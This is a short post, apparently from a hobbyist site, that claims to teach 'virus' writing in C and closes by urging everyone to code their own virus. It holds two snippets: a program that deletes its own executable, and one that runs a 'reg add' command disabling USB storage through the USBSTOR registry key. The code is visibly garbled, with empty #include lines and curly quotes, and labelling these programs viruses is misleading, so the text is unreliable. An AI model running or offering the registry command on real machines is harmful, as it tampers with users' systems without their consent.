Virus can be coded in any programming language, Batch, Shell ,Vb Script, J script, C, C++, Perl, Delphi, Python,Haskel etc.
We will see a simple Self Destructing Virus in "C"
#include
#include
void main()
{
printf(“This program will destroy itself if u press any key!!!\n”);
getch();
remove(_argv[0]);/*array of pointers to command line arguments*/
}
Generate an EXE from the above program. Execution of the above program removes the EXE File.
Disabling USB Ports using a simple program
#include
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}
Understanding perfectly every function of an OS and a basic skill of executing System functions from a programming language, Every one can code their own Virus!!!!